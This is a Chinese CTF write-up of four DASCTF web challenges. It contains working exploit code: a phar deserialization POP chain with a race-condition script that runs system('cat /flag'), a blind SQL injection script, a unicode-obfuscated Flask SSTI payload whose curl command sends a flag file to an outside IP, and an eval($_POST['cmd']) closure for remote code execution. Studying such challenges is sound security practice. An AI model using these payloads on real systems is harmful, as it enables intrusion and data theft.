2022DASCTF七月赛web部分wp

Ez to getflag

非预期解:

payload:

file.php?f=/flag&_=1658663645618

直接读取flag

DASCTF{c4ab8b68-a166-4668-aa63-a39f7afc7bf6}

预期解:

知识点:代码审计、Phar文件反序列化、文件上传条件竞争、session文件包含

1.通过文件读取获取源码。

file.php

<?php
    error_reporting(0);
    session_start();
    require_once('class.php');
    $filename = $_GET['f'];
    $show = new Show($filename);
    $show->show();
?>

upload.php

<?php
    error_reporting(0);
    session_start();
    require_once('class.php');
    $upload = new Upload();
    $upload->uploadfile();
?>

class.php

<?php
    class Upload {
        public $f;
        public $fname;
        public $fsize;
        function __construct(){
            $this->f = $_FILES;
        }
        function savefile() {  
            $fname = md5($this->f["file"]["name"]).".png"; 
            if(file_exists('./upload/'.$fname)) { 
                @unlink('./upload/'.$fname);
            }
            move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname); 
            echo "upload success! :D"; 
        } 
        function __toString(){
            $cont = $this->fname;
            $size = $this->fsize;
            echo $cont->$size;
            return 'this_is_upload';
        }
        function uploadfile() { 
            if($this->file_check()) { 
                $this->savefile(); 
            } 
        }
        function file_check() { 
            $allowed_types = array("png");
            $temp = explode(".",$this->f["file"]["name"]);
            $extension = end($temp); 
            if(empty($extension)) { 
                echo "what are you uploaded? :0";
                return false;
            }
            else{ 
                if(in_array($extension,$allowed_types)) {
                    $filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
                    $f = file_get_contents($this->f["file"]["tmp_name"]);
                    if(preg_match_all($filter,$f)){
                        echo 'what are you doing!! :C';
                        return false;
                    }
                    return true; 
                } 
                else { 
                    echo 'png onlyyy! XP'; 
                    return false; 
                } 
            }
        }
    }
    class Show{
        public $source;
        public function __construct($fname)
        {
            $this->source = $fname;
        }
        public function show()
        {
            if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {
                die('illegal fname :P');
            } else {
                echo file_get_contents($this->source);
                $src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));
                echo "<img src={$src} />";
            }
        
        }
        function __get($name)
        {
            $this->ok($name);
        }
        public function __call($name, $arguments)
        {
            if(end($arguments)=='phpinfo'){
                phpinfo();
            }else{
                $this->backdoor(end($arguments));
            }
            return $name;
        }
        public function backdoor($door){
            include($door);
            echo "hacked!!";
        }
        public function __wakeup()
        {
            if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
                die("illegal fname XD");
            }
        }
    }
    class Test{
        public $str;
        public function __construct(){
            $this->str="It's works";
        }
        public function __destruct()
        {
            echo $this->str;
        }
    }
?>

class.php中的Show类的show方法没有过滤phar协议,配合文件上传的功能可以进行phar文件反序列化。

public function backdoor($door){
    include($door);
    echo "hacked!!";
}

backdoor方法存在文件包含,通过upload上传文件。

2.绕过upload过滤

$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';

看到禁止了php的标识符和一些函数,所以传不了马,但可以利用phar文件在被一些压缩方式压缩后依然可以使用phar协议进行解析的特性,传一个压缩过后的phar文件进去,而且限制文件后缀为png。

3.构造pop链

从Test::_destruct开始

public function __destruct()
{
    echo $this->str;
}

将$this->str赋值为Upload类,这样会触发Upload::__tostring方法

function __toString(){
    $cont = $this->fname;
    $size = $this->fsize;
    echo $cont->$size;
    return 'this_is_upload';
}

这个方法有一个赋值操作,可以将$this->fname赋值为Show类,把$this->fsize赋值为想要包含的文件的文件名,因为在Show类中不存在该文件名,所以就会调用Show::__get方法,

function __get($name)
{
    $this->ok($name);
}

该类不存在ok方法,所以又会调用Show::__call方法

public function __call($name, $arguments)
{
    if(end($arguments)=='phpinfo'){
        phpinfo();
    }else{
        $this->backdoor(end($arguments));
    }
    return $name;
}

Show::__call方法又调用了Show::backdoor并以文件名为参数,而Show::backdoor使用了一个include包含了传入文件名,这样就可以进行文件包含了。pop利用链很长,但是其实并没有那么难,一条路走下去。

phar文件生成脚本:

<?php
class Upload{
    public $fname;
    public $fsize;  
}
class Show{
    public $source;
}
class Test{
    public $str;
}
$upload = new Upload();
$show = new Show();
$test-new Test();
$test->str=$upload;
$upload->fname=$show;
$upload->fsize='tmp/sess_dre0';

@unlink("shell.phar");
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($test);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

压缩为gzip压缩包并改后缀名为png上传该phar文件

4.利用php的session上传进度以及文件上传的条件竞争进行文件包含

编写python脚本进行文件包含

import sys,threading,requests,re
from hashlib import md5


flag=''
check=True
# 触发phar文件反序列化去包含session上传进度文件
def include(fileurl,s):
    global check,flag
    while check:
        fname = md5('shell.png'.encode('utf-8')).hexdigest()+'.png'
        params = {
            'f': 'phar://upload/'+fname
        }
        res = s.get(url=fileurl, params=params)
        if "working" in res.text:
            flag = re.findall('upload_progress_working(DASCTF{.+})',res.text)[0]
            check = False

# 利用session.upload.progress写入临时文件
def sess_upload(url,s):
    global check
    while check:
        data={
              'PHP_SESSION_UPLOAD_PROGRESS': "<?php echo 'working',system('cat /flag');?>\"); ?>"
              }
        cookies={
            'PHPSESSID': 'dre0'
            }
        files={
            'file': ('dre0.png', b'cha'*300)
            }
        s.post(url=url,data=data,cookies=cookies,files=files)



def exp():
    url = "http://e8e172d1-08ff-426e-91e0-9003552a1878.node4.buuoj.cn:81/"
    fileurl = url+'file.php'
    uploadurl = url+'upload.php'
    
    num = threading.active_count()
    # 上传phar文件
    file = {'file': open('./shell.png', 'rb')}
    ret = requests.post(url=uploadurl, files=file)
    # 文件上传条件竞争获取flag
    event=threading.Event()
    s1 = requests.Session()
    s2 = requests.Session()
    for i in range(1,10):
        threading.Thread(target=sess_upload,args=(uploadurl,s1)).start()
    for i in range(1,10):
        threading.Thread(target=include,args=(fileurl,s2,)).start()
    event.set()
    while threading.active_count() != num:
        pass

if __name__ == '__main__':
    exp()
    print(flag)

getflag

image-20220727005823072

绝对防御

知识点:API搜索、SQL注入

通过官网wp了解了一个软件JSFinder,对于查找api与子域名非常有用

image-20220727094143480

发现了一个SUPPERAPI.php,查看源码

image-20220727094349600

发现对id这个参数进行了过滤,接下来就是fuzz,写sql盲注注入脚本:

import re
import requests as req
import sys
import time

url = "http://b98bf648-e33d-439e-a6f7-17e11e452e4e.node4.buuoj.cn:81/SUPPERAPI.php?"

payload = f"id=1 and ascii(substr((select database()),1,1))>127"
res = ''
for i in range(50):
    low = 0x20
    high = 0x7f
    while(low <= high):
        
        mid = (high + low) // 2
        print(low, mid, high)
        #payload = f"id=1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{i},1))>{mid}"
        #payload = f"id=1 and ascii(substr(reverse((select password from users where id=2)),{i},1))>{mid}"
        payload = f"id=1 and ascii(substr((select password from users where id=2),{i},1))>{mid}"

        # 数据库 database()
        # 表名 users
        # 字段 id,username,password
        #flag在id为2的password中
        print(payload)
        response = req.get(url + payload)
        print(response.text)
        if(len(response.text) > 587):
            low = mid + 1
        else:
            high = mid - 1
        print("[+]:",low, res)
        time.sleep(1)
            
    res += chr(low)
    print("[+]:",low, res)
    

print(res)

HardFlask

知识点:Flask SSTI bypass、SSTI 盲注

{{,我们可以用 {%print(......)%}{% if ... %}1{% endif %} 的形式来代替。同时题目过滤了print关键字,所以只剩下了 {% if ... %}1{% endif %}

用 attr() 配合 unicode 编码的方法绕过黑名单。

{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"))%}success{%endif%}    # {%if("".__class__)%}success{%endif%}

确定了bypass的方法,下面我们就要寻找可以执行命令的类了,这里我们寻找含有 “popen” 方法的类:

{%if("".__class__.__bases__[0].__subclasses__()[遍历].__init__.__globals__["popen"])%}success{%endif%}  -->>  

{%if(""|attr("__class__")|attr("__bases__")|attr("__getitem__")(0)|attr("__subclasses__")()|attr("__getitem__")(遍历)|attr("__init__")|attr("__globals__")|attr("__getitem__")("popen"))%}success{%endif%}  -->>  

# unicode 编码:
{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(0)|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(遍历)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0070\u006f\u0070\u0065\u006e"))%}success{%endif%}

通过python脚本遍历查找popen位置:

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
    url = "http://your-ip:8081/"
    payload = {"nickname":'{%if(""|attr("\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")(0)|attr("\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f")()|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")(' + str(i) + ')|attr("\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")("\\u0070\\u006f\\u0070\\u0065\\u006e"))%}success{%endif%}'}

    res = requests.post(url=url, headers=headers, data=payload)
    if 'success' in res.text:
        print(i)
        
# 输出: 132

构造payload:

{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(0)|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(133)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0075\u0072\u006c\u0020\u0034\u0037\u002e\u0031\u0030\u0031\u002e\u0035\u0037\u002e\u0037\u0032\u003a\u0032\u0033\u0033\u0033\u0020\u002d\u0064\u0020\"`\u0063\u0061\u0074\u0020\u002f\u0066\u0031\u0061\u0067\u0067\u0067\u0067\u0068\u0065\u0072\u0065`\"")|attr("\u0072\u0065\u0061\u0064")())%}1{%endif%}    # curl 121.4.139.4:2333 -d \"`cat /f1agggghere`\"

NewSer

知识点:composer.json 敏感信息泄露导致的部分源码泄露、cookie中的php反序列化以及php魔术方法、利用php引用绕过__wakeup 的过滤、php反序列化匿名函数的利用

composer.json文件定义了您当前项目的依赖项,以及依赖项的一些相关信息

常见属性说明

name:表示包的名称

description:表示包的描述

version:表示包的版本

type:表示包的类型

keywords:表示一组用于搜索与筛选的与包相关的关键字

homepage:表示项目网站的url地址

readme:表示README文档的绝对路径

time:表示包的版本发布时间

license:表示包的许可证

authors:表示包的作者

support:表示获取对项目支持的信息对象

require:表示必须安装的依赖包列表

autoload:表示PHP自动加载的映射

minimum-stability:定义了按稳定性过滤包的默认值

repositories:表示自定义的安装源

config:表示一组配置选项

script:表示Composer允许在安装过程的各个部分执行脚本

extra:表示scripts使用的任意扩展数据

composer.json

{
  
    "require": {
        "fakerphp/faker": "^1.19",
        "opis/closure": "^3.6"
    }
}

观察前端回显得知调用了user类的__destruct()方法。

user类代码:

class User
{
    protected $_password;
    protected $_username;
    private $username;
    private $password;
    private $email;
    private $instance;
    public function __construct($username,$password,$email)
    {
        $this->email = $email;
        $this->username = $username;
        $this->password = $password;
        $this->instance = $this;
    }
    /**
     * @return mixed
     */
    public function getEmail()
    {
        return $this->email;
    }
    /**
     * @return mixed
     */
    public function getPassword()
    {
        return $this->password;
    }
    /**
     * @return mixed
     */
    public function getUsername()
    {
        return $this->username;
    }
    public function __sleep()
    {
        $this->_password = md5($this->password);
        $this->_username = base64_encode($this->username);
        return ['_username','_password', 'email','instance'];
    }
    public function __wakeup()
    {
        $this->password = $this->_password;
    }
    public function __destruct()
    {
        echo "User ".$this->instance->_username." has created.";
    }

在cookie中发现序列化字符串,base64解码之后获取反序列化内容:

O:4:"User":4:{s:12:"*_username";s:20:"cmFvdWwuYXVmZGVyaGFy";s:12:"*_password";s:32:"e462f51a80c681d5c57e0af81dd3c6f2";s:11:"Useremail";s:20:"kenton65@hotmail.com";s:14:"Userinstance";r:1;}

对应__sleep()魔术方法的返回数组,说明cookie是序列户的User,此处可能存在反序列化漏洞。

接下来就是构造pop利用链。User 类的__destruct就是一个很好的入口, 可以出发__get 魔术方法,而对于fakerphp这个依赖,他的Generator类,是主要的类,生成不存在的属性时都通过format方法,这个方法中存在call_user_func_array 的调用。

所以下一步的目标就是在Fackerphp这个依赖中查找包含call_user_func_array 的魔术方法。github查找源码可以发现四个地方存在call_user_func_array 的调用。

1.src/Generator/UniqueGenerator.php

image-20220728170802327

但是会被前面if所拦截,无法利用。

2.src/Generator/ValidGenerator.php

image-20220728170914220

这边可以直接利用,但是复现中出题人说已经过滤了本函数的利用。

3.src/Generator/ChanceGenerator.php

image-20220728171018685

无法通过前面的if条件,无法利用

4.src/DefaultGenerator.php

image-20220728171119293

可以利用,但是需要绕过__wakeup,题目是php8,没有多属性的特性,这个的wakeup也不是抛出异常,所以呢,需要找其他的绕过思路。

利用php引用来绕过__wakeup中对属性的置空。

image-20220728171320344

php中是支持应用的 也就是a = &b, 当b改变时,a 也会改变. php在序列化时,同样会把引用考虑进去。

所以如果我们找到一个形如$this->a = $this->b //$this->formatters 是xxx->$a的引用的语句。且此语句执行在 Generator类的__wakeup 后。

这里需要User的__wakeup函数

构造payload:

<?php
namespace {
    class User{
        private $instance;
        public $password;
        private $_password;

        public function __construct()
        {
            $this->instance = new Faker\Generator($this);
            $this->_password = ["_username"=>"phpinfo"];

        }
    }
    echo base64_encode(str_replace("s:8:\"password\"",urldecode("s%3A14%3A%22%00User%00password%22"),serialize(new User())));
}
namespace Faker{
    class Generator{
        private $formatters;
        public function __construct($obj)
        {
            $this->formatters = &$obj->password;
        }
    }
}
#O:4:"User":3:{s:14:"Userinstance";O:15:"Faker\Generator":1:{s:27:"Faker\Generatorformatters";N;}s:14:"Userpassword";R:3;s:15:"User_password";a:1:{s:9:"_username";s:7:"phpinfo";}}

4、反序列化匿名函数造成任意代码执行

果想要只控制函数,造成任意代码执行,可以使用反序列化闭包。

<?php
namespace {
    class User{
        private $instance;
        public $password;
        private $_password;

        public function __construct()
        {
            $this->instance = new Faker\Generator($this);
            $func = function(){eval($_POST['cmd']);};
            //本地加载依赖
             require './vendor/opis/closure/autoload.php';
            $b=\Opis\Closure\serialize($func);
            $c=unserialize($b);
            $this->_password = ["_username"=>$c];

        }
    }
    echo base64_encode(str_replace("s:8:\"password\"",urldecode("s%3A14%3A%22%00User%00password%22"),serialize(new User())));
}
namespace Faker{
    class Generator{
        private $formatters;
        public function __construct($obj)
        {
            $this->formatters = &$obj->password;
        }
    }
}

将生产的cookie替代原来的内容,就可以实现rce。

image-20220728180123583

image-20220728180245171

DASCTF{c5e7421c-2e70-4a1d-afcd-186562dce2a9}

posted @ 2022-07-28 19:31  dre0m1  阅读(298)  评论(0编辑  收藏  举报